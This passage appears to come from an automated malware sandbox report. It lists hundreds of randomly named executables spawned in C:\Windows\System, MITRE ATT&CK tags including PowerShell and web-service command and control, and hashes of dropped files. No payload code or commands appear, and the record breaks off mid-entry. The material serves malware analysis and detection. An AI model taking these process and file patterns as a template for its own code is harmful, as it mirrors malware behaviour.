  C:\Windows\System\UdeTNKt.exe
  2⤵
  PID:14236
- C:\Windows\System\JAlHRPt.exe
  C:\Windows\System\JAlHRPt.exe
  2⤵
  PID:14316
- C:\Windows\System\XqNAiQi.exe
  C:\Windows\System\XqNAiQi.exe
  2⤵
  PID:13432
- C:\Windows\System\KYbvYdE.exe
  C:\Windows\System\KYbvYdE.exe
  2⤵
  PID:13548
- C:\Windows\System\cJYVHOK.exe
  C:\Windows\System\cJYVHOK.exe
  2⤵
  PID:13800
- C:\Windows\System\CVHcscg.exe
  C:\Windows\System\CVHcscg.exe
  2⤵
  PID:2832
- C:\Windows\System\knUcOFU.exe
  C:\Windows\System\knUcOFU.exe
  2⤵
  PID:3100
- C:\Windows\System\CKqrClb.exe
  C:\Windows\System\CKqrClb.exe
  2⤵
  PID:13368
- C:\Windows\System\OTXVYCD.exe
  C:\Windows\System\OTXVYCD.exe
  2⤵
  PID:13704
- C:\Windows\System\hxiOEay.exe
  C:\Windows\System\hxiOEay.exe
  2⤵
  PID:14092
- C:\Windows\System\AngGdWi.exe
  C:\Windows\System\AngGdWi.exe
  2⤵
  PID:13496
- C:\Windows\System\fuzlbyj.exe
  C:\Windows\System\fuzlbyj.exe
  2⤵
  PID:14284
- C:\Windows\System\WwUequC.exe
  C:\Windows\System\WwUequC.exe
  2⤵
  PID:13876
- C:\Windows\System\NkZgBOA.exe
  C:\Windows\System\NkZgBOA.exe
  2⤵
  PID:14352
- C:\Windows\System\tmIOafz.exe
  C:\Windows\System\tmIOafz.exe
  2⤵
  PID:14368
- C:\Windows\System\GCTbJnb.exe
  C:\Windows\System\GCTbJnb.exe
  2⤵
  PID:14384
- C:\Windows\System\RHonxov.exe
  C:\Windows\System\RHonxov.exe
  2⤵
  PID:14400
- C:\Windows\System\SSHJwkO.exe
  C:\Windows\System\SSHJwkO.exe
  2⤵
  PID:14420
- C:\Windows\System\uEejeAK.exe
  C:\Windows\System\uEejeAK.exe
  2⤵
  PID:14436
- C:\Windows\System\MYdjKpO.exe
  C:\Windows\System\MYdjKpO.exe
  2⤵
  PID:14452
- C:\Windows\System\noKFVJc.exe
  C:\Windows\System\noKFVJc.exe
  2⤵
  PID:14468
- C:\Windows\System\mhGxVVk.exe
  C:\Windows\System\mhGxVVk.exe
  2⤵
  PID:14484
- C:\Windows\System\AzAgsFF.exe
  C:\Windows\System\AzAgsFF.exe
  2⤵
  PID:14500
- C:\Windows\System\bgEDoek.exe
  C:\Windows\System\bgEDoek.exe
  2⤵
  PID:14516
- C:\Windows\System\BwIdWfY.exe
  C:\Windows\System\BwIdWfY.exe
  2⤵
  PID:14532
- C:\Windows\System\IkIvbNU.exe
  C:\Windows\System\IkIvbNU.exe
  2⤵
  PID:14548
- C:\Windows\System\sWRnLtk.exe
  C:\Windows\System\sWRnLtk.exe
  2⤵
  PID:14564
- C:\Windows\System\KpYUcLc.exe
  C:\Windows\System\KpYUcLc.exe
  2⤵
  PID:14584
- C:\Windows\System\eWsWQZG.exe
  C:\Windows\System\eWsWQZG.exe
  2⤵
  PID:14600
- C:\Windows\System\BoalqUZ.exe
  C:\Windows\System\BoalqUZ.exe
  2⤵
  PID:14616
- C:\Windows\System\XpIjzRy.exe
  C:\Windows\System\XpIjzRy.exe
  2⤵
  PID:14632
- C:\Windows\System\wpMfBmc.exe
  C:\Windows\System\wpMfBmc.exe
  2⤵
  PID:14648
- C:\Windows\System\tftjyjf.exe
  C:\Windows\System\tftjyjf.exe
  2⤵
  PID:14664
- C:\Windows\System\IkjeJoQ.exe
  C:\Windows\System\IkjeJoQ.exe
  2⤵
  PID:14680
- C:\Windows\System\xrVHWYS.exe
  C:\Windows\System\xrVHWYS.exe
  2⤵
  PID:14696
- C:\Windows\System\pTnrXNb.exe
  C:\Windows\System\pTnrXNb.exe
  2⤵
  PID:14712
- C:\Windows\System\gaIUIqW.exe
  C:\Windows\System\gaIUIqW.exe
  2⤵
  PID:14728
- C:\Windows\System\PbiuXcW.exe
  C:\Windows\System\PbiuXcW.exe
  2⤵
  PID:14744
- C:\Windows\System\nSGvWtS.exe
  C:\Windows\System\nSGvWtS.exe
  2⤵
  PID:14760
- C:\Windows\System\cfkqpyQ.exe
  C:\Windows\System\cfkqpyQ.exe
  2⤵
  PID:14776
- C:\Windows\System\sErfWgm.exe
  C:\Windows\System\sErfWgm.exe
  2⤵
  PID:14792
- C:\Windows\System\zaAxArs.exe
  C:\Windows\System\zaAxArs.exe
  2⤵
  PID:14816
- C:\Windows\System\smSLbtu.exe
  C:\Windows\System\smSLbtu.exe
  2⤵
  PID:14832
- C:\Windows\System\apZpUUJ.exe
  C:\Windows\System\apZpUUJ.exe
  2⤵
  PID:14848
- C:\Windows\System\yJciZHV.exe
  C:\Windows\System\yJciZHV.exe
  2⤵
  PID:14868
- C:\Windows\System\MaXZKhB.exe
  C:\Windows\System\MaXZKhB.exe
  2⤵
  PID:14884
- C:\Windows\System\jnwcoQf.exe
  C:\Windows\System\jnwcoQf.exe
  2⤵
  PID:14900
- C:\Windows\System\StVDTGG.exe
  C:\Windows\System\StVDTGG.exe
  2⤵
  PID:14916
- C:\Windows\System\OzEigkP.exe
  C:\Windows\System\OzEigkP.exe
  2⤵
  PID:14932
- C:\Windows\System\xoGvizq.exe
  C:\Windows\System\xoGvizq.exe
  2⤵
  PID:14948
- C:\Windows\System\lyvhySM.exe
  C:\Windows\System\lyvhySM.exe
  2⤵
  PID:14964
- C:\Windows\System\NXoBUzt.exe
  C:\Windows\System\NXoBUzt.exe
  2⤵
  PID:14980
- C:\Windows\System\gbQTChP.exe
  C:\Windows\System\gbQTChP.exe
  2⤵
  PID:14996
- C:\Windows\System\LCMCOZJ.exe
  C:\Windows\System\LCMCOZJ.exe
  2⤵
  PID:15012
- C:\Windows\System\CMgKCRp.exe
  C:\Windows\System\CMgKCRp.exe
  2⤵
  PID:15028
- C:\Windows\System\KPQZCBn.exe
  C:\Windows\System\KPQZCBn.exe
  2⤵
  PID:15044
- C:\Windows\System\JfYtfdE.exe
  C:\Windows\System\JfYtfdE.exe
  2⤵
  PID:15060
- C:\Windows\System\RKFNbhx.exe
  C:\Windows\System\RKFNbhx.exe
  2⤵
  PID:15076
- C:\Windows\System\mNuGBlv.exe
  C:\Windows\System\mNuGBlv.exe
  2⤵
  PID:15092
- C:\Windows\System\eZvpWks.exe
  C:\Windows\System\eZvpWks.exe
  2⤵
  PID:15108
- C:\Windows\System\dDblYUI.exe
  C:\Windows\System\dDblYUI.exe
  2⤵
  PID:15124
- C:\Windows\System\VAvcFpm.exe
  C:\Windows\System\VAvcFpm.exe
  2⤵
  PID:15140
- C:\Windows\System\YmNNjbL.exe
  C:\Windows\System\YmNNjbL.exe
  2⤵
  PID:15156
- C:\Windows\System\QGHAmlA.exe
  C:\Windows\System\QGHAmlA.exe
  2⤵
  PID:15172
- C:\Windows\System\BAeipKN.exe
  C:\Windows\System\BAeipKN.exe
  2⤵
  PID:14772
- C:\Windows\System\pVGnCCh.exe
  C:\Windows\System\pVGnCCh.exe
  2⤵
  PID:14912
- C:\Windows\System\ClLEUwB.exe
  C:\Windows\System\ClLEUwB.exe
  2⤵
  PID:14944
- C:\Windows\System\kFieCWa.exe
  C:\Windows\System\kFieCWa.exe
  2⤵
  PID:14248
- C:\Windows\System\NxBwoUv.exe
  C:\Windows\System\NxBwoUv.exe
  2⤵
  PID:14204
- C:\Windows\System\mACKsLB.exe
  C:\Windows\System\mACKsLB.exe
  2⤵
  PID:14572
- C:\Windows\System\vCRreIK.exe
  C:\Windows\System\vCRreIK.exe
  2⤵
  PID:14412
- C:\Windows\System\xnumFov.exe
  C:\Windows\System\xnumFov.exe
  2⤵
  PID:15008
- C:\Windows\System\BPdVNdG.exe
  C:\Windows\System\BPdVNdG.exe
  2⤵
  PID:15040
- C:\Windows\System\pejdjFH.exe
  C:\Windows\System\pejdjFH.exe
  2⤵
  PID:14172
- C:\Windows\System\uhxFAaz.exe
  C:\Windows\System\uhxFAaz.exe
  2⤵
  PID:15104
- C:\Windows\System\ivMreUN.exe
  C:\Windows\System\ivMreUN.exe
  2⤵
  PID:15132
- C:\Windows\System\FBYcVkb.exe
  C:\Windows\System\FBYcVkb.exe
  2⤵
  PID:15164
- C:\Windows\System\CTTYFZi.exe
  C:\Windows\System\CTTYFZi.exe
  2⤵
  PID:15180
- C:\Windows\System\mNihDBp.exe
  C:\Windows\System\mNihDBp.exe
  2⤵
  PID:15204
- C:\Windows\System\OihUwCO.exe
  C:\Windows\System\OihUwCO.exe
  2⤵
  PID:15224
- C:\Windows\System\KFFBaHQ.exe
  C:\Windows\System\KFFBaHQ.exe
  2⤵
  PID:15240
- C:\Windows\System\JxgaKnd.exe
  C:\Windows\System\JxgaKnd.exe
  2⤵
  PID:15244
- C:\Windows\System\YUhZyjq.exe
  C:\Windows\System\YUhZyjq.exe
  2⤵
  PID:15276
- C:\Windows\System\CdyVSWW.exe
  C:\Windows\System\CdyVSWW.exe
  2⤵
  PID:15260
- C:\Windows\System\JxOKFiB.exe
  C:\Windows\System\JxOKFiB.exe
  2⤵
  PID:15304
- C:\Windows\System\hWmUHZY.exe
  C:\Windows\System\hWmUHZY.exe
  2⤵
  PID:15316
- C:\Windows\System\BcBEJrw.exe
  C:\Windows\System\BcBEJrw.exe
  2⤵
  PID:15340
- C:\Windows\System\UdVJKnW.exe
  C:\Windows\System\UdVJKnW.exe
  2⤵
  PID:15352
- C:\Windows\System\Bevndkc.exe
  C:\Windows\System\Bevndkc.exe
  2⤵
  PID:14360
- C:\Windows\System\vshCpoK.exe
  C:\Windows\System\vshCpoK.exe
  2⤵
  PID:14392
- C:\Windows\System\iZmKzze.exe
  C:\Windows\System\iZmKzze.exe
  2⤵
  PID:14428
- C:\Windows\System\dnDUhfC.exe
  C:\Windows\System\dnDUhfC.exe
  2⤵
  PID:14860
- C:\Windows\System\AVyikSO.exe
  C:\Windows\System\AVyikSO.exe
  2⤵
  PID:14492
- C:\Windows\System\qmshCaC.exe
  C:\Windows\System\qmshCaC.exe
  2⤵
  PID:14512
- C:\Windows\System\FXWMLRL.exe
  C:\Windows\System\FXWMLRL.exe
  2⤵
  PID:14556
- C:\Windows\System\ucRAbrn.exe
  C:\Windows\System\ucRAbrn.exe
  2⤵
  PID:14592
- C:\Windows\System\rPJzRoS.exe
  C:\Windows\System\rPJzRoS.exe
  2⤵
  PID:14068
- C:\Windows\System\MUvvbik.exe
  C:\Windows\System\MUvvbik.exe
  2⤵
  PID:14644
- C:\Windows\System\phHBnMv.exe
  C:\Windows\System\phHBnMv.exe
  2⤵
  PID:14688
- C:\Windows\System\dKklYnX.exe
  C:\Windows\System\dKklYnX.exe
  2⤵
  PID:14720
- C:\Windows\System\YTIjVEn.exe
  C:\Windows\System\YTIjVEn.exe
  2⤵
  PID:14740
- C:\Windows\System\hkCoXlW.exe
  C:\Windows\System\hkCoXlW.exe
  2⤵
  PID:14804
- C:\Windows\System\yCDciBN.exe
  C:\Windows\System\yCDciBN.exe
  2⤵
  PID:14828
- C:\Windows\System\vsEoFVy.exe
  C:\Windows\System\vsEoFVy.exe
  2⤵
  PID:14856
- C:\Windows\System\ppAFmzy.exe
  C:\Windows\System\ppAFmzy.exe
  2⤵
  PID:14876
- C:\Windows\System\LQgTvDF.exe
  C:\Windows\System\LQgTvDF.exe
  2⤵
  PID:14928
- C:\Windows\System\sQXovGF.exe
  C:\Windows\System\sQXovGF.exe
  2⤵
  PID:14988
- C:\Windows\System\jCdhwBZ.exe
  C:\Windows\System\jCdhwBZ.exe
  2⤵
  PID:13340
- C:\Windows\System\soZZzJV.exe
  C:\Windows\System\soZZzJV.exe
  2⤵
  PID:15036
- C:\Windows\System\COeNzrY.exe
  C:\Windows\System\COeNzrY.exe
  2⤵
  PID:15088
- C:\Windows\System\UiGCIZO.exe
  C:\Windows\System\UiGCIZO.exe
  2⤵
  PID:15152
- C:\Windows\System\CQXwkxy.exe
  C:\Windows\System\CQXwkxy.exe
  2⤵
  PID:15212
- C:\Windows\System\kMkMksd.exe
  C:\Windows\System\kMkMksd.exe
  2⤵
  PID:5804
- C:\Windows\System\yXqcUTo.exe
  C:\Windows\System\yXqcUTo.exe
  2⤵
  PID:15268
- C:\Windows\System\NnvxBIS.exe
  C:\Windows\System\NnvxBIS.exe
  2⤵
  PID:15288
- C:\Windows\System\rkLyTpO.exe
  C:\Windows\System\rkLyTpO.exe
  2⤵
  PID:15312
- C:\Windows\System\caQekXl.exe
  C:\Windows\System\caQekXl.exe
  2⤵
  PID:15356
- C:\Windows\System\IirwZMZ.exe
  C:\Windows\System\IirwZMZ.exe
  2⤵
  PID:14380
- C:\Windows\System\yzQgpom.exe
  C:\Windows\System\yzQgpom.exe
  2⤵
  PID:14448
- C:\Windows\System\ypgQVMW.exe
  C:\Windows\System\ypgQVMW.exe
  2⤵
  PID:14508
- C:\Windows\System\eeyKVsD.exe
  C:\Windows\System\eeyKVsD.exe
  2⤵
  PID:14580
- C:\Windows\System\ooXWOBX.exe
  C:\Windows\System\ooXWOBX.exe
  2⤵
  PID:14640
- C:\Windows\System\DrXuoUU.exe
  C:\Windows\System\DrXuoUU.exe
  2⤵
  PID:14708
- C:\Windows\System\fqQaLFe.exe
  C:\Windows\System\fqQaLFe.exe
  2⤵
  PID:14788
- C:\Windows\System\vZYLspj.exe
  C:\Windows\System\vZYLspj.exe
  2⤵
  PID:14844
- C:\Windows\System\eGzBqux.exe
  C:\Windows\System\eGzBqux.exe
  2⤵
  PID:14908
- C:\Windows\System\UEHOcjg.exe
  C:\Windows\System\UEHOcjg.exe
  2⤵
  PID:14252
- C:\Windows\System\ZpKdImL.exe
  C:\Windows\System\ZpKdImL.exe
  2⤵
  PID:15068
- C:\Windows\System\WszYUNQ.exe
  C:\Windows\System\WszYUNQ.exe
  2⤵
  PID:15208
- C:\Windows\System\JIMbkNn.exe
  C:\Windows\System\JIMbkNn.exe
  2⤵
  PID:15252
- C:\Windows\System\XethJAs.exe
  C:\Windows\System\XethJAs.exe
  2⤵
  PID:15308
- C:\Windows\System\UvGdNxH.exe
  C:\Windows\System\UvGdNxH.exe
  2⤵
  PID:14376
- C:\Windows\System\HcGFuqE.exe
  C:\Windows\System\HcGFuqE.exe
  2⤵
  PID:14496
- C:\Windows\System\TaepGMQ.exe
  C:\Windows\System\TaepGMQ.exe
  2⤵
  PID:14628
- C:\Windows\System\YaZutmT.exe
  C:\Windows\System\YaZutmT.exe
  2⤵
  PID:14768
- C:\Windows\System\HaGkoqQ.exe
  C:\Windows\System\HaGkoqQ.exe
  2⤵
  PID:14896
- C:\Windows\System\crPuKPR.exe
  C:\Windows\System\crPuKPR.exe
  2⤵
  PID:15024
- C:\Windows\System\uqPsgeb.exe
  C:\Windows\System\uqPsgeb.exe
  2⤵
  PID:15192
- C:\Windows\System\fwzMIBq.exe
  C:\Windows\System\fwzMIBq.exe
  2⤵
  PID:5848
- C:\Windows\System\EkQlFLq.exe
  C:\Windows\System\EkQlFLq.exe
  2⤵
  PID:14612
- C:\Windows\System\BXcPAgN.exe
  C:\Windows\System\BXcPAgN.exe
  2⤵
  PID:3996
- C:\Windows\System\gxCqhnJ.exe
  C:\Windows\System\gxCqhnJ.exe
  2⤵
  PID:3304
- C:\Windows\System\eXQJhwm.exe
  C:\Windows\System\eXQJhwm.exe
  2⤵
  PID:14348
- C:\Windows\System\jqmRrKg.exe
  C:\Windows\System\jqmRrKg.exe
  2⤵
  PID:3952
- C:\Windows\System\sjjXkof.exe
  C:\Windows\System\sjjXkof.exe
  2⤵
  PID:4288
- C:\Windows\System\Lrsdtkk.exe
  C:\Windows\System\Lrsdtkk.exe
  2⤵
  PID:4600
- C:\Windows\System\UJstukY.exe
  C:\Windows\System\UJstukY.exe
  2⤵
  PID:15364
- C:\Windows\System\wftENiI.exe
  C:\Windows\System\wftENiI.exe
  2⤵
  PID:15400
- C:\Windows\System\rBQNIyh.exe
  C:\Windows\System\rBQNIyh.exe
  2⤵
  PID:15416
- C:\Windows\System\ZmvQNot.exe
  C:\Windows\System\ZmvQNot.exe
  2⤵
  PID:15448
- C:\Windows\System\gbtkTBK.exe
  C:\Windows\System\gbtkTBK.exe
  2⤵
  PID:15464
- C:\Windows\System\HsvoxtI.exe
  C:\Windows\System\HsvoxtI.exe
  2⤵
  PID:15480
- C:\Windows\System\mTrvmLs.exe
  C:\Windows\System\mTrvmLs.exe
  2⤵
  PID:15496
- C:\Windows\System\KXLgkjW.exe
  C:\Windows\System\KXLgkjW.exe
  2⤵
  PID:15516
- C:\Windows\System\WYgoNxi.exe
  C:\Windows\System\WYgoNxi.exe
  2⤵
  PID:15536
- C:\Windows\System\ivQoLTy.exe
  C:\Windows\System\ivQoLTy.exe
  2⤵
  PID:15560
- C:\Windows\System\jubnCHE.exe
  C:\Windows\System\jubnCHE.exe
  2⤵
  PID:15576
- C:\Windows\System\TACBjgf.exe
  C:\Windows\System\TACBjgf.exe
  2⤵
  PID:15592
- C:\Windows\System\vTDtGlI.exe
  C:\Windows\System\vTDtGlI.exe
  2⤵
  PID:15612
- C:\Windows\System\WaVhYQE.exe
  C:\Windows\System\WaVhYQE.exe
  2⤵
  PID:15632
- C:\Windows\System\yvKuuFE.exe
  C:\Windows\System\yvKuuFE.exe
  2⤵
  PID:15652
- C:\Windows\System\wjuFxJu.exe
  C:\Windows\System\wjuFxJu.exe
  2⤵
  PID:15676
- C:\Windows\System\SDXFqeA.exe
  C:\Windows\System\SDXFqeA.exe
  2⤵
  PID:15692
- C:\Windows\System\oKNvWfI.exe
  C:\Windows\System\oKNvWfI.exe
  2⤵
  PID:15712
- C:\Windows\System\yVxCdKc.exe
  C:\Windows\System\yVxCdKc.exe
  2⤵
  PID:15732
- C:\Windows\System\IaGhWYH.exe
  C:\Windows\System\IaGhWYH.exe
  2⤵
  PID:15748
- C:\Windows\System\dRfIlDH.exe
  C:\Windows\System\dRfIlDH.exe
  2⤵
  PID:15764
- C:\Windows\System\lwDnExI.exe
  C:\Windows\System\lwDnExI.exe
  2⤵
  PID:15780
- C:\Windows\System\shNYIbb.exe
  C:\Windows\System\shNYIbb.exe
  2⤵
  PID:15796
- C:\Windows\System\xxAZaYG.exe
  C:\Windows\System\xxAZaYG.exe
  2⤵
  PID:15812
- C:\Windows\System\IFgvLpM.exe
  C:\Windows\System\IFgvLpM.exe
  2⤵
  PID:15836
- C:\Windows\System\QonhpTN.exe
  C:\Windows\System\QonhpTN.exe
  2⤵
  PID:15852
- C:\Windows\System\htNWnIl.exe
  C:\Windows\System\htNWnIl.exe
  2⤵
  PID:15876
- C:\Windows\System\hIEmQyZ.exe
  C:\Windows\System\hIEmQyZ.exe
  2⤵
  PID:15896
- C:\Windows\System\hzyGOIC.exe
  C:\Windows\System\hzyGOIC.exe
  2⤵
  PID:15916
- C:\Windows\System\nBxZFvb.exe
  C:\Windows\System\nBxZFvb.exe
  2⤵
  PID:15932
- C:\Windows\System\JJTOZWp.exe
  C:\Windows\System\JJTOZWp.exe
  2⤵
  PID:15956
- C:\Windows\System\QbNCRGT.exe
  C:\Windows\System\QbNCRGT.exe
  2⤵
  PID:15980
- C:\Windows\System\AMZXcAE.exe
  C:\Windows\System\AMZXcAE.exe
  2⤵
  PID:16000
- C:\Windows\System\luOhGSo.exe
  C:\Windows\System\luOhGSo.exe
  2⤵
  PID:16020
- C:\Windows\System\pcLNWQA.exe
  C:\Windows\System\pcLNWQA.exe
  2⤵
  PID:16044
- C:\Windows\System\izvudHf.exe
  C:\Windows\System\izvudHf.exe
  2⤵
  PID:16068
- C:\Windows\System\GNzTZRQ.exe
  C:\Windows\System\GNzTZRQ.exe
  2⤵
  PID:16084
- C:\Windows\System\KRtiFYa.exe
  C:\Windows\System\KRtiFYa.exe
  2⤵
  PID:16100
- C:\Windows\System\AaZxVWQ.exe
  C:\Windows\System\AaZxVWQ.exe
  2⤵
  PID:16116
- C:\Windows\System\DbSbwta.exe
  C:\Windows\System\DbSbwta.exe
  2⤵
  PID:16132
- C:\Windows\System\mEahQNg.exe
  C:\Windows\System\mEahQNg.exe
  2⤵
  PID:16148
- C:\Windows\System\BNnwRsw.exe
  C:\Windows\System\BNnwRsw.exe
  2⤵
  PID:16164
- C:\Windows\System\pePMkqq.exe
  C:\Windows\System\pePMkqq.exe
  2⤵
  PID:16180
- C:\Windows\System\RTwNJiF.exe
  C:\Windows\System\RTwNJiF.exe
  2⤵
  PID:16196
- C:\Windows\System\DhjHuwR.exe
  C:\Windows\System\DhjHuwR.exe
  2⤵
  PID:16212
- C:\Windows\System\mmLkeWI.exe
  C:\Windows\System\mmLkeWI.exe
  2⤵
  PID:16228
- C:\Windows\System\ZRFyKWK.exe
  C:\Windows\System\ZRFyKWK.exe
  2⤵
  PID:16244
- C:\Windows\System\yMrShpZ.exe
  C:\Windows\System\yMrShpZ.exe
  2⤵
  PID:16260
- C:\Windows\System\GfHNKuF.exe
  C:\Windows\System\GfHNKuF.exe
  2⤵
  PID:16276
- C:\Windows\System\yVWgaIE.exe
  C:\Windows\System\yVWgaIE.exe
  2⤵
  PID:16296
- C:\Windows\System\OjvEDVi.exe
  C:\Windows\System\OjvEDVi.exe
  2⤵
  PID:16312
- C:\Windows\System\OIUddNT.exe
  C:\Windows\System\OIUddNT.exe
  2⤵
  PID:16328
- C:\Windows\System\fUwAqel.exe
  C:\Windows\System\fUwAqel.exe
  2⤵
  PID:16344
- C:\Windows\System\lZqHzFr.exe
  C:\Windows\System\lZqHzFr.exe
  2⤵
  PID:16368
- C:\Windows\System\QhcmQUA.exe
  C:\Windows\System\QhcmQUA.exe
  2⤵
  PID:3252
- C:\Windows\System\tQsSDFL.exe
  C:\Windows\System\tQsSDFL.exe
  2⤵
  PID:1016
- C:\Windows\System\Kyonygf.exe
  C:\Windows\System\Kyonygf.exe
  2⤵
  PID:5632
- C:\Windows\System\uKNlhqe.exe
  C:\Windows\System\uKNlhqe.exe
  2⤵
  PID:5056
- C:\Windows\System\UVCNQxM.exe
  C:\Windows\System\UVCNQxM.exe
  2⤵
  PID:3164
- C:\Windows\System\CTZEbJO.exe
  C:\Windows\System\CTZEbJO.exe
  2⤵
  PID:15384
- C:\Windows\System\HKjhupl.exe
  C:\Windows\System\HKjhupl.exe
  2⤵
  PID:15396
- C:\Windows\System\HDQwhVd.exe
  C:\Windows\System\HDQwhVd.exe
  2⤵
  PID:13672
- C:\Windows\System\kqnyaTt.exe
  C:\Windows\System\kqnyaTt.exe
  2⤵
  PID:15432
- C:\Windows\System\BfkOynI.exe
  C:\Windows\System\BfkOynI.exe
  2⤵
  PID:15460
- C:\Windows\System\RqqnIsf.exe
  C:\Windows\System\RqqnIsf.exe
  2⤵
  PID:15488
- C:\Windows\System\WuQDnQW.exe
  C:\Windows\System\WuQDnQW.exe
  2⤵
  PID:3260
- C:\Windows\System\YiUhdsR.exe
  C:\Windows\System\YiUhdsR.exe
  2⤵
  PID:15528
- C:\Windows\System\sAZZnZX.exe
  C:\Windows\System\sAZZnZX.exe
  2⤵
  PID:6480
- C:\Windows\System\IsDXoCZ.exe
  C:\Windows\System\IsDXoCZ.exe
  2⤵
  PID:15568
- C:\Windows\System\HihhXVf.exe
  C:\Windows\System\HihhXVf.exe
  2⤵
  PID:544
- C:\Windows\System\gDNFmGw.exe
  C:\Windows\System\gDNFmGw.exe
  2⤵
  PID:15608
- C:\Windows\System\WPfChgk.exe
  C:\Windows\System\WPfChgk.exe
  2⤵
  PID:15640
- C:\Windows\System\sobSdUY.exe
  C:\Windows\System\sobSdUY.exe
  2⤵
  PID:15664
- C:\Windows\System\kJwtPGo.exe
  C:\Windows\System\kJwtPGo.exe
  2⤵
  PID:15688
- C:\Windows\System\BrBqJBL.exe
  C:\Windows\System\BrBqJBL.exe
  2⤵
  PID:15700
- C:\Windows\System\zlsQEFV.exe
  C:\Windows\System\zlsQEFV.exe
  2⤵
  PID:15708
- C:\Windows\System\aANyRDw.exe
  C:\Windows\System\aANyRDw.exe
  2⤵
  PID:15756
- C:\Windows\System\TDkVSME.exe
  C:\Windows\System\TDkVSME.exe
  2⤵
  PID:15776
- C:\Windows\System\vncmNGo.exe
  C:\Windows\System\vncmNGo.exe
  2⤵
  PID:6864
- C:\Windows\System\OyDBmZn.exe
  C:\Windows\System\OyDBmZn.exe
  2⤵
  PID:4568
- C:\Windows\System\nagFzhQ.exe
  C:\Windows\System\nagFzhQ.exe
  2⤵
  PID:15928
- C:\Windows\System\yTCApmQ.exe
  C:\Windows\System\yTCApmQ.exe
  2⤵
  PID:1404
- C:\Windows\System\lzYzEzf.exe
  C:\Windows\System\lzYzEzf.exe
  2⤵
  PID:15988
- C:\Windows\System\XYetRHb.exe
  C:\Windows\System\XYetRHb.exe
  2⤵
  PID:16012
- C:\Windows\System\EHppqgk.exe
  C:\Windows\System\EHppqgk.exe
  2⤵
  PID:15996
- C:\Windows\System\nphmNJk.exe
  C:\Windows\System\nphmNJk.exe
  2⤵
  PID:908
- C:\Windows\System\UNHybZe.exe
  C:\Windows\System\UNHybZe.exe
  2⤵
  PID:16064
- C:\Windows\System\KPVZgxS.exe
  C:\Windows\System\KPVZgxS.exe
  2⤵
  PID:6436
- C:\Windows\System\GullsTE.exe
  C:\Windows\System\GullsTE.exe
  2⤵
  PID:16108
- C:\Windows\System\vNaxEfb.exe
  C:\Windows\System\vNaxEfb.exe
  2⤵
  PID:16128
- C:\Windows\System\yLLTsWQ.exe
  C:\Windows\System\yLLTsWQ.exe
  2⤵
  PID:15644
- C:\Windows\System\UkyAAcz.exe
  C:\Windows\System\UkyAAcz.exe
  2⤵
  PID:6156
- C:\Windows\System\RDPOKbh.exe
  C:\Windows\System\RDPOKbh.exe
  2⤵
  PID:16304
- C:\Windows\System\BxHeGYp.exe
  C:\Windows\System\BxHeGYp.exe
  2⤵
  PID:16324
- C:\Windows\System\DuvapKQ.exe
  C:\Windows\System\DuvapKQ.exe
  2⤵
  PID:6824
- C:\Windows\System\MVWxMOE.exe
  C:\Windows\System\MVWxMOE.exe
  2⤵
  PID:3524
- C:\Windows\System\zGiUXeD.exe
  C:\Windows\System\zGiUXeD.exe
  2⤵
  PID:6904
- C:\Windows\System\uWQOQHd.exe
  C:\Windows\System\uWQOQHd.exe
  2⤵
  PID:6976
- C:\Windows\System\gFIhWNP.exe
  C:\Windows\System\gFIhWNP.exe
  2⤵
  PID:3180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4dkmo5j.t2v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AvTaCXX.exe

Filesize
1.8MB

MD5
f7162420b633d0de825888b437c21e4e

SHA1
c3d8c6d7eb4fb19f4b3e235012fccd4ad848e84e

SHA256
0eb06008d9a5b8d5eafbaa559a728622d1b69bfc8fec652ca07ebce77a330158

SHA512
15eb5c71d56a632d613294f5897129e74e0e653018561bbec9752694099854ba71bc90fcc2360737a1035941e349e0f1f9a15a84a8a191fa2b2efdc1513e8758

Download Submit
C:\Windows\System\BZdOUyh.exe

Filesize
1.8MB

MD5
be1d38d4f18a66ba2a0c4cabfb345b93

SHA1
f547ea0641026680521454c2bf206214b9c861e0

SHA256
a615c2ab6f16612888ecbea5b235bd8ccab7e6f92d7f26ff6f642a9f7120a47d

SHA512
91acc7955a915e430b2310657759fbf60f9246ef0b9c8fc911832a3f4880a17a327c757e193fd6b365b2975cb1001317d82d69d777bb5e6aad982675e78dde5a

Download Submit
C:\Windows\System\CoZcOix.exe

Filesize
1.8MB

MD5
cbd3b9fa6ed2e31a181368e17bbf2f0c

SHA1
816a942470aa85484b4819acb5779fe92c34a4c1

SHA256
4962987e5d615aea574a5705bc9231c6946e1928ebf55b68366c7357f3969b3c

SHA512
8f716eefdd01f42938b9873968420a51e9cedfefce95ab6c0540dd0bade3ad37970c01f7c3a926e545ba1a578ec7f6ca01924d3881532a8008a6f4b7b79c3503

Download Submit
C:\Windows\System\FGpxJpF.exe

Filesize
1.8MB

MD5
ffc34fb742423b3f2e8f4ae89ff12986

SHA1
2b421c90755446d68b9bf65068891b07aa75aa3c

SHA256
af14bbfa44e1714ab40bb0433155efea0e358dfab017f49d536f620655847afa

SHA512
ce27f6d08566a6cf66eabf41fc3a5ae2fc317ee2a1ae44272294da0ac4b30b2ba04c1ba45ac46a24f85414cac8c77c6c75125bc9f0ae6ea6273617e32b7b78e2

Download Submit
C:\Windows\System\FOFYZIl.exe

Filesize
1.8MB

MD5
332e54787b6483755c1db0519f3220f3

SHA1
fe1e68f8d1fbbcde2fcf75a019cadb8f0c342209

SHA256
021db0b0853c523c0d35f4002e997a78919979cf84c97430dc54aba0a769c111

SHA512
a5751ec1592043b616763621a7fb3846e435bfddb17f964fd1bc4d463b10909965c39ea56b451c8086e6829ed8e0493ee0bf10b3d08b4a0be38c77348cc1ae97

Download Submit
C:\Windows\System\FxiVnPt.exe

Filesize
1.8MB

MD5
4ab96d9b43eb6abf4934a55cc11ac6fc

SHA1
41086e4bf8d841af41fd07ce4416497492b63ad5

SHA256
